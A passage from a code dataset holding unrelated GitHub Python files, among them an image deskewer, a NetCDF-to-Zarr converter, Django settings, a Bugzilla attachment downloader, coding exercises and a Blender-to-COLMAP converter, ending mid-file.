argparse.ArgumentParser(description='Get a user profile')\n parser.add_argument('-u', '--user',\n required=True,\n help='instagram user ids')\n args = parser.parse_args()\n print(get_profile(args.user_id, as_json=True))\n","repo_name":"knishioka/instagram-network","sub_path":"instagram_network/user.py","file_name":"user.py","file_ext":"py","file_size_in_byte":1265,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"39670697962","text":"# This is stage 1 of 3 in the Puzzle Cheat Sheet Project\r\n# Code was created following the tutorial https://www.youtube.com/watch?v=DaQoorJQSZQ&list=PLMoSUbG1Q_r_sc0x7ndCsqdIkL7dwrmNF&index=8\r\n# Zuggyg 03/06/21\r\n\r\nimport cv2\r\nimport numpy as np\r\n\r\nprint(\"hello\")\r\n\r\n#global variables\r\ncircles = np.zeros((4,2), np.int)\r\nccounter = 0\r\n#path of Image\r\npath = r'original.jpg'\r\n\r\n#function that does something on mouseclick\r\ndef mousePoints(event,x,y,flags,paramas):\r\n #make sure to enter this to use the global variables within a function\r\n global ccounter\r\n if event == cv2.EVENT_LBUTTONDOWN:\r\n print(x,y)\r\n circles[ccounter] = x,y\r\n print(circles)\r\n ccounter = ccounter + 1\r\n\r\n#function that calls the image to be marked\r\ndef imagetomark():\r\n #draw circles on the corners\r\n for x in circles:\r\n cv2.circle(img,(int(x[0]),int(x[1])),5,(0,0,255),cv2.FILLED)\r\n #display image\r\n cv2.imshow(\"Original Image\", img)\r\n #allow image window to be clicked on. First paramater is the image window, second paramater is the function to feed the mouse info into\r\n cv2.setMouseCallback(\"Original Image\", mousePoints)\r\n cv2.waitKey(100)\r\n\r\n\r\n#read the image from file\r\nimg = cv2.imread(path)\r\n\r\n#loops on original image until there are 4 clicks\r\nmyloop = 1\r\nwhile myloop == 1:\r\n imagetomark()\r\n if ccounter == 4:\r\n myloop = 2\r\n\r\n#once 4 clicks are registered it processes the image and then displays result\r\nif ccounter == 4:\r\n imagetomark()\r\n #reread original image so have clean plate\r\n img = cv2.imread(path)\r\n #create output dimensions\r\n width, height = 490, 360\r\n pts1 = np.float32([circles[0],circles[1],circles[2],circles[3]])\r\n pts2 = np.float32([[0,0],[width,0],[0,height],[width,height]])\r\n #do the deskewing magic\r\n matrix = cv2.getPerspectiveTransform(pts1,pts2)\r\n imgOutput = cv2.warpPerspective(img,matrix,(width,height))\r\n cv2.imshow(\"Output Image\", imgOutput)\r\n cv2.waitKey(0)\r\n #save image\r\n cv2.imwrite(r'deskewed.jpg', imgOutput)\r\n\r\nprint(\"completed\")\r\n","repo_name":"zuggyg/PuzzleCheatSheet","sub_path":"Stage1_Deskew/Deskewer.py","file_name":"Deskewer.py","file_ext":"py","file_size_in_byte":2105,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"32557498588","text":"b = \"F\"\nb2 = \"F\"\ntemp = 0\nz = 0\nmax = 0\ncount = 0\n#for loop in range(0,13195):\nloop = 600851475143\n\nwhile(loop > 600851470000):\n loop-=1\n b=\"T\"\n if(loop%2 == 0):\n b = \"F\"\n if(loop%3 == 0):\n b = \"F\"\n if((loop%5 == 0)):\n b = \"F\"\n if(b==\"T\"):\n temp = loop\n print(temp)\n if(temp > max):\n max = t\n\nprint(max)\n","repo_name":"WilsoP/ProjectEuler","sub_path":"p3.py","file_name":"p3.py","file_ext":"py","file_size_in_byte":375,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"17256692598","text":"import numpy as np\nimport xarray as xr\nimport pandas as pd\nimport numcodecs\nfrom dask.distributed import Client, progress, LocalCluster\nimport zarr\nimport glob\nfrom datetime import datetime\nimport time\nimport sys\n\ndef generate_file_list(netcdf_prefix, start_doy, end_doy, year):\n \"\"\"\n Given a start day and end end day, generate a list of file locations.\n Assumes a 'prefix' and 'year' variables have already been defined.\n 'Prefix' should be a local directory or http url and path.\n 'Year' should be a 4 digit year.\n \"\"\"\n days_of_year = list(range(start_doy, end_doy))\n fileObjs = []\n for doy in days_of_year:\n if doy < 10:\n doy = f\"00{doy}\"\n elif doy >= 10 and doy < 100:\n doy = f\"0{doy}\"\n file = glob.glob(f\"{netcdf_prefix}/{year}/{doy}/*.nc\")[0]\n fileObjs.append(file)\n return fileObjs\n\ndef create_or_append_zarr(netcdf_prefix, zarr_store, year, start_doy, number_batches_to_append, batch_size):\n end_doy = start_doy\n final_end_doy = start_doy + (number_batches_to_append * batch_size)\n\n while start_doy < final_end_doy:\n end_doy = start_doy + batch_size\n end_doy = min(367, end_doy)\n fileObjs = generate_file_list(netcdf_prefix, start_doy, end_doy, year)\n first_file = fileObjs[0].split('/')[-1]\n last_file = fileObjs[-1].split('/')[-1]\n print(f\"start doy: {start_doy}, starting file: {first_file}\")\n print(f\"end doy: {end_doy}, ending file: {last_file}\")\n args = {'consolidated': True}\n # Either append or initiate store\n if start_doy == 152 and year == 2002:\n ds = xr.open_mfdataset(fileObjs, parallel=True, combine='by_coords', mask_and_scale=False)\n ds = ds.chunk(chunks)\n args['mode'] = 'w'\n else:\n # Check here that the next day we will append is the next day in the year\n current_ds = xr.open_zarr(zarr_store, consolidated=True)\n next_day = current_ds.time[-1].values + np.timedelta64(1, 'D')\n next_day_str = str(next_day)[0:10].replace('-', '')\n if not (first_file[0:8] == next_day_str):\n raise Exception(\"starting file is not the next day of the year\")\n break\n ds = xr.open_mfdataset(fileObjs, parallel=True, combine='by_coords')\n ds = ds.chunk(chunks)\n args['mode'] = 'a'\n args['append_dim'] = 'time'\n ds.to_zarr(zarr_store, **args)\n start_doy = end_doy\n print(f\"Done with this batch\")\n print()\n\n# python netcdf-to-zarr.py /s3fsx/eodc/mursst_netcdf /s3fsx/eodc/mursst_zarr/5x1799x3600 2010 1 1 5\n# python netcdf-to-zarr.py /Volumes/files/allData/ghrsst/data/GDS2/L4/GLOB/JPL/MUR/v4.1 eodc/mursst_zarr/2002 2002 1 1 5\nif __name__ == \"__main__\":\n # Invariants - but could be made configurable\n chunks = {'time': 5, 'lat': 1799, 'lon': 3600}\n numcodecs.blosc.use_threads = False\n print(sys.argv)\n _, netcdf_prefix, zarr_store, year, start_day, number_batches_to_append, batch_size = sys.argv\n year, start_day, number_batches_to_append, batch_size = int(year), int(start_day), int(number_batches_to_append), int(batch_size)\n print(f\"zarr store directory: {zarr_store}\")\n\n # Initialize Dask\n cluster = LocalCluster(n_workers=4)\n client = Client(cluster)\n print(f\"Dask client {client}\")\n create_or_append_zarr(netcdf_prefix, zarr_store, year, start_day, number_batches_to_append, batch_size)\n\n","repo_name":"abarciauskas-bgse/mur_sst-to-zarr","sub_path":"images/netcdf-to-zarr/netcdf-to-zarr.py","file_name":"netcdf-to-zarr.py","file_ext":"py","file_size_in_byte":3494,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"21017686346","text":"\n# https://leetcode.com/problems/subdomain-visit-count/\n\n# Method 1: Use collections.Counter\n# Time: O(N^2)?\n# Space: O(N)\nfrom collections import Counter\nclass Solution:\n def subdomainVisits(self, cpdomains: List[str]) -> List[str]:\n res = Counter()\n for domain in cpdomains:\n count, domain = domain.split()\n count = int(count)\n frags = domain.split(\".\")\n \n for i in range(len(frags)):\n res[\".\".join(frags[i:])] += count\n return [\"{} {}\".format(count, domain) for domain, count in res.items()]\n \n \n \n# Method 2: Use hashmap\nclass Solution:\n def subdomainVisits(self, cpdomains: List[str]) -> List[str]:\n res = {}\n for domain in cpdomains:\n count, domain = domain.split()\n count, domain = int(count), domain.split(\".\")\n for i in range(len(domain)):\n _str = \".\".join(domain[i:])\n if _str not in res:\n res[_str] = 0\n res[_str] += count\n \n return [str(res[domain]) + ' ' + domain for domain in res]\n \n\n","repo_name":"EveChen/Leetcode_Practice","sub_path":"811_Subdomain_Visit_Count.py","file_name":"811_Subdomain_Visit_Count.py","file_ext":"py","file_size_in_byte":1145,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"36"} +{"seq_id":"74169490982","text":"import os\n\nACTIONKIT_EVENT_UPLOADER_PROCESSING_METHOD = \"sync\"\n\nPROJECT_ROOT = os.path.abspath(os.path.dirname(os.path.dirname(__file__)))\nROOT_URLCONF = 'standalone_django_project.urls'\nWSGI_APPLICATION = 'standalone_django_project.wsgi.application'\nSITE_ID = 1\n\nSITE_NAME = os.environ.get(\"SITE_NAME\")\n\nif os.environ.get('DJANGO_DEBUG'):\n DEBUG = True\nelse:\n DEBUG = False\nTEMPLATE_DEBUG = DEBUG\n\nACTIONKIT_DATABASE_NAME = os.environ['ACTIONKIT_DATABASE_NAME']\nACTIONKIT_DATABASE_USER = os.environ['ACTIONKIT_DATABASE_USER']\nACTIONKIT_DATABASE_PASSWORD = os.environ['ACTIONKIT_DATABASE_PASSWORD']\n\nimport dj_database_url\nDATABASES = {\n 'default': dj_database_url.config(),\n 'ak': {\n 'ENGINE': \"django.db.backends.mysql\",\n 'NAME': ACTIONKIT_DATABASE_NAME,\n 'USER': ACTIONKIT_DATABASE_USER,\n 'PASSWORD': ACTIONKIT_DATABASE_PASSWORD,\n 'HOST': \"client-db.actionkit.com\",\n 'PORT': \"\",\n }\n }\n\nSECRET_KEY = os.environ[\"DJANGO_SECRET\"]\n\nACTIONKIT_API_HOST = os.environ['ACTIONKIT_API_HOST']\nACTIONKIT_API_USER = os.environ['ACTIONKIT_API_USER']\nACTIONKIT_API_PASSWORD = os.environ['ACTIONKIT_API_PASSWORD']\n\nTEMPLATE_LOADERS = (\n 'dbtemplates.loader.Loader',\n 'django.template.loaders.filesystem.Loader',\n 'django.template.loaders.app_directories.Loader',\n)\n\nINSTALLED_APPS = (\n 'django.contrib.auth',\n 'django.contrib.contenttypes',\n 'django.contrib.sessions',\n 'django.contrib.sites',\n 'django.contrib.messages',\n 'django.contrib.staticfiles',\n 'django.contrib.admin',\n 'gunicorn',\n\n 'django.contrib.flatpages',\n\n 'dbtemplates',\n\n 'standalone_django_project', # For the template finder\n 'event_uploader',\n)\n\nTEMPLATE_CONTEXT_PROCESSORS = (\n \"django.contrib.auth.context_processors.auth\",\n \"django.core.context_processors.debug\",\n \"django.core.context_processors.request\",\n \"django.core.context_processors.i18n\",\n \"django.core.context_processors.media\",\n \"django.core.context_processors.static\",\n \"django.core.context_processors.tz\",\n \"django.contrib.messages.context_processors.messages\",\n \"standalone_django_project.context_processors.globals\",\n)\n\nMIDDLEWARE_CLASSES = (\n 'django.middleware.common.CommonMiddleware',\n 'django.contrib.sessions.middleware.SessionMiddleware',\n 'django.middleware.csrf.CsrfViewMiddleware',\n 'django.contrib.auth.middleware.AuthenticationMiddleware',\n 'django.contrib.messages.middleware.MessageMiddleware',\n 'django.middleware.transaction.TransactionMiddleware',\n\n \"djangohelpers.middleware.AuthRequirementMiddleware\",\n)\nANONYMOUS_PATHS = (\n \"/static/\",\n \"/admin/\",\n \"/accounts/\",\n )\n\nLOGIN_URL = '/accounts/login/'\nLOGIN_REDIRECT_URL = '/'\n\nif os.environ.get('DJANGO_DEBUG_TOOLBAR'):\n MIDDLEWARE_CLASSES += (\n 'debug_toolbar.middleware.DebugToolbarMiddleware',\n )\n INSTALLED_APPS += (\n 'debug_toolbar',\n )\n DEBUG_TOOLBAR_CONFIG = {\n 'INTERCEPT_REDIRECTS': False,\n }\n INTERNAL_IPS = os.environ.get(\"INTERNAL_IPS\")\n if INTERNAL_IPS is None:\n INTERNAL_IPS = []\n elif INTERNAL_IPS.strip() in (\"*\", \"0.0.0.0\"):\n class AllIPS(list):\n def __contains__(self, item):\n return True\n INTERNAL_IPS = AllIPS()\n else:\n INTERNAL_IPS = [i.strip() for i in INTERNAL_IPS.split()]\n\nSTATIC_URL = \"/static/\"\nSTATICFILES_FINDERS = (\n 'django.contrib.staticfiles.finders.FileSystemFinder',\n 'django.contrib.staticfiles.finders.AppDirectoriesFinder',\n)\nSTATIC_ROOT = os.path.join(PROJECT_ROOT, 'collected_static')\n\n","repo_name":"boldprogressives/actionkit-csv-events","sub_path":"standalone_django_project/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":3611,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"36"} +{"seq_id":"42263271375","text":"from django.conf import settings\n\nimport stripe\nstripe.api_key = settings.STRIPE_API_KEY\n\nfrom accounts.models import Profile, ShippingAddress, DefaultBilling\n\nfrom .models import Order\n\ndef create_or_retrieve_order(request, cart):\n\t\"\"\"Retrieves existing order or creates skeleton of an order\"\"\"\n\n\tprofile = Profile.objects.get(user=request.user)\n\t\n\ttry:\n\t\torder = Order.objects.get(cart=cart)\n\texcept Order.DoesNotExist:\n\t\torder = Order(\n\t\t\t\t\tprofile=profile,\n\t\t\t\t\tcart=cart\n\t\t\t\t)\n\t\torder.save()\n\n\tdefault_shipping = profile.get_default_shipping()\n\tdefault_billing = profile.get_default_billing()\n\n\t# if order has no shipping_address but there's a default_shipping\n\t# address available, make the default address this order's shipping address\n\tif not order.shipping_address and default_shipping is not None:\n\t\tdefault_shipping = profile.shippingaddress_set.filter(default_address=True).first()\n\t\torder.shipping_address = default_shipping\n\t\torder.save()\n\n\t# if order has no billing_address but there's a default_billing address\n\t# then make the default_billing address the order's billing address\n\tif not order.billing_address1 and default_billing is not None:\n\t\torder.update_order_billing(full_name=default_billing.full_name,\n\t\t\t\t\t\t\t\t\taddress1=default_billing.billing_address1,\n\t\t\t\t\t\t\t\t\taddress2=default_billing.billing_address2,\n\t\t\t\t\t\t\t\t\tcity=default_billing.billing_city,\n\t\t\t\t\t\t\t\t\tstate=default_billing.billing_state,\n\t\t\t\t\t\t\t\t\tzip_code=default_billing.billing_zip,\n\t\t\t\t\t\t\t\t\tcountry=default_billing.billing_country,\n\t\t\t\t\t\t\t\t\texp_month=default_billing.exp_month,\n\t\t\t\t\t\t\t\t\texp_year=default_billing.exp_year,\n\t\t\t\t\t\t\t\t\tcc_four=default_billing.cc_four,\n\t\t\t\t\t\t\t\t\tbrand=default_billing.brand\n\t\t\t\t\t\t\t\t)\n\treturn order","repo_name":"drivelous/ecmrc","sub_path":"orders/custom.py","file_name":"custom.py","file_ext":"py","file_size_in_byte":1709,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"36"} +{"seq_id":"36252851050","text":"from flask import Blueprint\nfrom flask import request\nfrom flask import session\nimport json\n\nworkflowQueueHandler4Flask = Blueprint('workflowQueueHandler4Flask', __name__)\n\n@workflowQueueHandler4Flask.route('/send', methods = ['POST'])\ndef sendWorkflow():\n workflow_json = request.form[\"workflow\"]\n workflow = json.loads(workflow_json)\n from library.workflowQueueHandler.workflowExecutionHandler import sendExecution\n sendExecution(workflow)\n return \"\"\n\n@workflowQueueHandler4Flask.route('/receive', methods = ['POST'])\ndef receiveQueue():\n username = session['username']\n if username is None:\n return \"Error - Not logged in\"\n status = request.form.get(\"status\")\n if status is None:\n status = -1\n from library.workflowQueueHandler.workflowQueueReceiver import receive_queue\n from flaskServer.config.flaskServerConfig import get_mysql_info\n mysql_info = get_mysql_info()\n result = receive_queue(mysql_info, \"queue\", username, status)\n return json.dumps(result)\n\n@workflowQueueHandler4Flask.route('/remove', methods = ['POST'])\ndef removeQueueItem():\n username = session['username']\n if username is None:\n return \"Error - Not logged in\"\n index = request.form[\"id\"]\n if index is None:\n return \"Invalid index\"\n from library.workflowQueueHandler.workflowQueueItemRemoval import remove_queue_item\n from flaskServer.config.flaskServerConfig import get_mysql_info\n mysql_info = get_mysql_info()\n remove_queue_item(mysql_info, \"queue\", index, username)\n return \"\"","repo_name":"PeachProject/PeachClient","sub_path":"flaskServer/workflowQueueHandler4Flask/workflowQueueHandler4Flask.py","file_name":"workflowQueueHandler4Flask.py","file_ext":"py","file_size_in_byte":1551,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"18826291460","text":"#!/usr/bin/env python\n\nfrom pathlib import Path\nimport logging\nfrom typing import Union\n\nimport mne.bem\nfrom mne.utils import BunchConst\nfrom mne.parallel import parallel_func\n\nimport config\n\nPathLike = Union[str, Path]\nlogger = logging.getLogger('mne-bids-pipeline')\nfs_bids_app = Path(__file__).parent / 'contrib' / 'run.py'\n\n\ndef make_coreg_surfaces(\n cfg: BunchConst,\n subject: str\n) -> None:\n \"\"\"Create head surfaces for use with MNE-Python coregistration tools.\"\"\"\n fs_subject = config.get_fs_subject(subject)\n subject_str = f'sub-{subject}' if subject != 'fsaverage' else 'fsaverage'\n logger.info(\n f'Creating scalp surfaces for coregistration, '\n f'subject: {subject_str} (FreeSurfer subject: {fs_subject})'\n )\n\n mne.bem.make_scalp_surfaces(\n subject=fs_subject,\n subjects_dir=cfg.subjects_dir,\n force=True,\n overwrite=True\n )\n\n\ndef get_config() -> BunchConst:\n cfg = BunchConst(\n subjects_dir=config.get_fs_subjects_dir()\n )\n return cfg\n\n\ndef main():\n # Ensure we're also processing fsaverage if present\n subjects = config.get_subjects()\n if (Path(config.get_fs_subjects_dir()) / 'fsaverage').exists():\n subjects.append('fsaverage')\n\n parallel, run_func, _ = parallel_func(make_coreg_surfaces,\n n_jobs=config.get_n_jobs())\n\n parallel(\n run_func(\n get_config(), subject\n ) for subject in subjects\n )\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"SkeideLab/mne-bids-pipeline","sub_path":"scripts/freesurfer/02-coreg_surfaces.py","file_name":"02-coreg_surfaces.py","file_ext":"py","file_size_in_byte":1524,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"36"} +{"seq_id":"27218505036","text":"##\n# 18.03.08\n# 20152262 Hong Geun Ji\n#\n# Number guessing game.\n# Advanced version that applied while loop concept.\n\nimport random\n\nprint(\"Welcome to number guessing game!\")\n\nnumber = random.randrange(1,100)\nguess = None\n\nwhile number != guess:\n if(not guess):\n guess = int(input(\"Type the number that you can guess : \"))\n else:\n print(\"Wrong!\")\n if number > guess:\n print(\"The number is GREATER than you typed.\\n\")\n guess = int(input(\"Type the number that you can guess : \"))\n \n else: # Even the number and guess is same, this code will not be implemented since the while loop's boolean value is false.\n print(\"The number is SMALLER than you typed.\\n\")\n guess = int(input(\"Type the number that you can guess : \"))\n\n\nprint(\"You're right!\")\n","repo_name":"pithecuse527/python-practice","sub_path":"Ch.1 - Ch.2/guess_number2.py","file_name":"guess_number2.py","file_ext":"py","file_size_in_byte":844,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"12330872108","text":"# Import stuff\nimport sys\nfrom PyQt5.QtWidgets import QApplication, QPushButton, QMainWindow\n\n# Use a __main__ guard, you never know.\nif __name__ == '__main__':\n # Create our application -- MUST be done first.\n app = QApplication(sys.argv)\n\n # Create a main window with a single QLabel.\n window = QMainWindow()\n button = QPushButton('Hello PyQT5!')\n window.setCentralWidget(button)\n\n # Show the main window and call main loop.\n window.show()\n app.exec_()\n\n\n","repo_name":"Apress/HCI-game-dev-python","sub_path":"pyqt5_lab-master/02_buttons.py","file_name":"02_buttons.py","file_ext":"py","file_size_in_byte":484,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"36"} +{"seq_id":"37653211311","text":"#!/usr/bin/python3\n\"\"\"\nUsage: bugz.py [options]\n\nOptions:\n -h, --help show this help message and exit\n -u BZ_URL, --url=BZ_URL\n Bugzilla URL\n -q Q_URL, --query=Q_URL\n Bugzilla Query URL\n -b BUGID, --bugid=BUGID\n Bug Id\n -v, --verbose Enable Logs\n \n\"\"\"\n#\n# Sanity Script\n#\nimport os, sys, re, datetime, time\nimport bugzilla\nfrom optparse import OptionParser\n\n#defaults user configurable\nLOCAL_LOG_FILE=\"bugz\"\n\n#Globals\nDEVNULL=open(os.devnull, 'w')\nLOG=None\nLOCAL_LOG_FILE= os.getcwd() + \"/\" + LOCAL_LOG_FILE\nLOCAL_BZ_FOLDER= os.getcwd() + \"/\" + \"bug_attach\"\nBUGZILLA=None\n\ndef log_open(log_name):\n global LOG\n LOG=open(log_name, 'w')\n\ndef print_log(string):\n global LOG\n print(string)\n if LOG:\n LOG.write(string+ \"\\n\")\n\ndef log_close():\n global LOG\n LOG.close()\n\ndef create_folder(dirname):\n try:\n if not os.path.exists(dirname):\n os.makedirs(dirname)\n except OSError:\n pass\n\ndef get_bug_all_attachments(bz,bug):\n if not bug : return\n print_log(str(bug.id)+\" \"+bug.summary+\" \"+bug.status)\n for x in bug.get_attachment_ids():\n att = bz.openattachment(x) \n ofile = bz.util.open_without_clobber(att.name, \"wb\")\n print_log(\"Getting attachment %s (%d)\" % (att.name, x))\n fsize = 4096\n data = att.read(4096)\n while data:\n ofile.write(data)\n data = att.read(4096)\n fsize = fsize + 4096\n print_log (\"Wrote %d bytes in %s\" % (fsize, ofile.name))\n\ndef run_main(options):\n if not options.bz_url : return\n print_log(\"Starting bugz script %s\" % options.bz_url)\n BUGZILLA = bugzilla.Bugzilla(url=options.bz_url)\n if not BUGZILLA.logged_in:\n print_log(\"Unable to log into %s\" % options.bz_url)\n BUGZILLA.interactive_login()\n t1 = time.time()\n if not options.bugid:\n print_log(\"Initiating Query %s\" % options.q_url)\n query = BUGZILLA.url_to_query(options.q_url)\n query[\"include_fields\"] = [\"id\", \"summary\", \"status\"]\n buglist = BUGZILLA.query(query)\n print_log (\"The query returned %d Bugs\" % len(buglist))\n create_folder(LOCAL_BZ_FOLDER) \n os.chdir(LOCAL_BZ_FOLDER)\n count = len(buglist) - 1 \n for b in buglist:\n if count :\n print_log(\"Creating %d & downloading attachments...\" % b.id)\n create_folder(str(b.id))\n os.chdir(str(b.id))\n get_bug_all_attachments(BUGZILLA,b)\n count = count - 1\n os.chdir(LOCAL_BZ_FOLDER)\n else:\n print_log (\"Bug id = %d\" % options.bugid)\n bug = BUGZILLA.getbug(options.bugid)\n get_bug_all_attachments(BUGZILLA,bug)\n t2 = time.time()\n print_log (\"Processing Time : %s\" % (t2 - t1))\n return 0\n\ndef argparser():\n \"\"\"\n Option parsing of command line\n\n It will add the required arguments to OptionParser module\n Collects and parse the arguments\n\n Parameters\n ---------\n None\n\n Returns\n -------\n opts: Parsed arguments (or their defaults) returned in opts\n \"\"\"\n parser = OptionParser(usage=\"usage: %prog [options]\")\n parser.add_option(\n \"-u\",\"--url\", dest=\"bz_url\", help=\"Bugzilla URL\", default=\"None\")\n parser.add_option(\n \"-q\",\"--query\", dest=\"q_url\", help=\"Bugzilla Query URL\", default=\"\")\n parser.add_option(\n \"-b\",\"--bugid\", dest=\"bugid\", type=\"int\", help=\"Bug Id\", default=0)\n parser.add_option(\n \"-v\",\"--verbose\", action=\"store_true\", dest=\"verbose\", help=\"Enable Logs\", default=False)\n (opts, args) = parser.parse_args(sys.argv)\n return opts\n\nif __name__ == \"__main__\":\n options = argparser()\n if (options.verbose) :\n TIMENOW = datetime.datetime.now().strftime('%m%d%Y-%H%M')\n log_open(LOCAL_LOG_FILE+\"-\"+TIMENOW+\".log\")\n print_log(\"\\nTest Script\")\n print_log(\"Invoked as (\" + \" \".join(sys.argv) + \")\\n\")\n if (run_main(options)):\n sys.exit(1)\n else:\n sys.exit(0)\n","repo_name":"ketanmukadam/scripts","sub_path":"bugz.py","file_name":"bugz.py","file_ext":"py","file_size_in_byte":4051,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"32316671046","text":"from PIL import Image, PyAccess\nfrom pathlib import Path\nfrom os import system\nfrom threading import Thread\nfrom uuid import uuid4\nfrom hashlib import md5\n\nfrom .canvas import Canvas\nfrom .pillow_canvas import PillowCanvas\nfrom ..util.random_provider import Random\n\nfrom ..util.config_loader import Config\n\n\nclass Artwork(object):\n _canvas: Image\n _pixels: PyAccess\n rng: Random\n\n CANVAS_CLASS = PillowCanvas\n DEFAULT_MODE = \"RGBA\"\n DEFAULT_COLOR = (255, 255, 255, 255)\n DEFAULT_SIZE = (640, 480)\n\n def __init__(self, rng, canvas: Canvas = None, default_color=None) -> None:\n self._canvas = canvas\n self._pixels = None\n self._default_color = default_color\n self.rng = rng\n self.hash = abs(\n int.from_bytes(md5(str(self.rng.random()).encode()).digest(), \"big\")\n )\n\n @property\n def default_color(self) -> tuple:\n return (\n self.__class__.DEFAULT_COLOR\n if self._default_color is None\n else self._default_color\n )\n\n @default_color.setter\n def default_color(self, value) -> None:\n self._default_color = value\n\n @property\n def canvas(self) -> Image:\n if self._canvas is None:\n self._canvas = Artwork.CANVAS_CLASS(\n Artwork.DEFAULT_MODE, Artwork.DEFAULT_SIZE, self.default_color\n )\n return self._canvas\n\n @property\n def pixels(self) -> PyAccess:\n if self._pixels is None:\n self._pixels = self.canvas.load()\n return self._pixels\n\n def save(self, path: str = None) -> None:\n if path is None:\n path = Path(\"img/{}.png\".format(str(uuid4()))).absolute()\n if Path(path).is_dir():\n path = Path(path) / (str(uuid4()) + \".png\")\n return self.canvas.save(path, \"PNG\")\n\n def show(self, path: str = None) -> None:\n if path is None:\n path = Path(\"img/{}.png\".format(str(uuid4()))).absolute()\n if Path(path).is_dir():\n path = Path(path) / (str(uuid4()) + \".png\")\n self.canvas.save(path)\n Thread(\n target=lambda: system(\n 'start {app} \"{path}\"'.format(app=Config.get_image_view_application(), path=path)\n ),\n daemon=True,\n ).start()\n\n def draw(self) -> None:\n raise NotImplementedError(\"Each pattern has to implement it's own unique image\")\n","repo_name":"DerHamm/random-images","sub_path":"src/artwork/artwork.py","file_name":"artwork.py","file_ext":"py","file_size_in_byte":2415,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"36"} +{"seq_id":"36992057739","text":"\nimport os\nimport numpy as np\nimport glob\nimport sys\nimport json\nfrom PIL import Image\nfrom tqdm import tqdm\nimport shutil\nimport math\ndef fov2focal(fov, pixels):\n return pixels / (2 * math.tan(fov / 2))\ndef rotmat2qvec(R):\n Rxx, Ryx, Rzx, Rxy, Ryy, Rzy, Rxz, Ryz, Rzz = R.flat\n K = np.array([\n [Rxx - Ryy - Rzz, 0, 0, 0],\n [Ryx + Rxy, Ryy - Rxx - Rzz, 0, 0],\n [Rzx + Rxz, Rzy + Ryz, Rzz - Rxx - Ryy, 0],\n [Ryz - Rzy, Rzx - Rxz, Rxy - Ryx, Rxx + Ryy + Rzz]]) / 3.0\n eigvals, eigvecs = np.linalg.eigh(K)\n qvec = eigvecs[[3, 0, 1, 2], np.argmax(eigvals)]\n if qvec[0] < 0:\n qvec *= -1\n return qvec\n\nroot_dir = sys.argv[1]\ncolmap_dir = os.path.join(root_dir,\"sparse_\")\nif not os.path.exists(colmap_dir):\n os.makedirs(colmap_dir)\nimagecolmap_dir = os.path.join(root_dir,\"image_colmap\")\nif not os.path.exists(imagecolmap_dir):\n os.makedirs(imagecolmap_dir)\n\nimage_dir = os.path.join(root_dir)\nimages = os.listdir(image_dir)\nimages.sort()\ncamera_json = os.path.join(root_dir,\"transforms_train.json\")\n\n\nwith open (camera_json) as f:\n meta = json.load(f)\ntry:\n image_size = meta['w'], meta['h']\n focal = [meta['fl_x'],meta['fl_y']]\nexcept:\n try:\n image_size = meta['frames'][0]['w'], meta['frames'][0]['h']\n focal = [meta['frames'][0]['fl_x'],meta['frames'][0]['fl_y']]\n except:\n image_size = 800,800\n focal = fov2focal(meta['camera_angle_x'], 800)\n focal = [focal,focal]\n# size = image.size\n# breakpoint()\nobject_images_file = open(os.path.join(colmap_dir,\"images.txt\"),\"w\")\nobject_cameras_file = open(os.path.join(colmap_dir,\"cameras.txt\"),\"w\")\n\nidx=0\nsizes=1\ncnt=0\nwhile len(meta['frames'])//sizes > 200:\n sizes += 1\nfor frame in meta['frames']:\n cnt+=1\n if cnt % sizes != 0:\n continue\n matrix = np.linalg.inv(np.array(frame[\"transform_matrix\"]))\n R = -np.transpose(matrix[:3,:3])\n R[:,0] = -R[:,0]\n T = -matrix[:3, 3]\n T = -np.matmul(R,T)\n T = [str(i) for i in T]\n qevc = [str(i) for i in rotmat2qvec(np.transpose(R))]\n print(idx+1,\" \".join(qevc),\" \".join(T),1,frame['file_path'].split('/')[-1]+\".png\",\"\\n\",file=object_images_file)\n\n print(idx,\"SIMPLE_PINHOLE\",image_size[0],image_size[1],focal[0],image_size[0]/2,image_size[1]/2,file=object_cameras_file)\n idx+=1\n # breakpoint()\n print(os.path.join(image_dir,frame['file_path']),os.path.join(imagecolmap_dir,frame['file_path'].split('/')[-1]+\".png\"))\n shutil.copy(os.path.join(image_dir,frame['file_path']+\".png\"),os.path.join(imagecolmap_dir,frame['file_path'].split('/')[-1]+\".png\"))\n# write camera infomation.\n# print(1,\"SIMPLE_PINHOLE\",image_size[0],image_size[1],focal[0],image_sizep0/2,image_size[1]/2,file=object_cameras_file)\nobject_point_file = open(os.path.join(colmap_dir,\"points3D.txt\"),\"w\")\n\nobject_cameras_file.close()\nobject_images_file.close()\nobject_point_file.close()\n\n","repo_name":"hustvl/4DGaussians","sub_path":"scripts/blender2colmap.py","file_name":"blender2colmap.py","file_ext":"py","file_size_in_byte":2901,"program_lang":"python","lang":"en","doc_type":"code","stars":995,"dataset":"github-code","pt":"36"} +{"seq_id":"19243246843","text":"''' 5/7/2020\r\n\r\nThis problem was asked by Amazon.\r\n\r\nGiven a pivot x, and a list lst, \r\npartition the list into three parts.\r\n\r\nThe first part contains all elements \r\nin lst that are less than x\r\nThe second part contains all elements \r\nin lst that are equal to x\r\nThe third part contains all elements in \r\nlst that are larger than x\r\nOrdering within a part can be arbitrary.\r\n\r\nFor example, given x = 10 and lst = [9, 12, 3, 5, 14, 10, 10], \r\none partition may be [9, 3, 5, 10, 10, 12, 14].\r\n'''\r\n\r\n\r\ndef 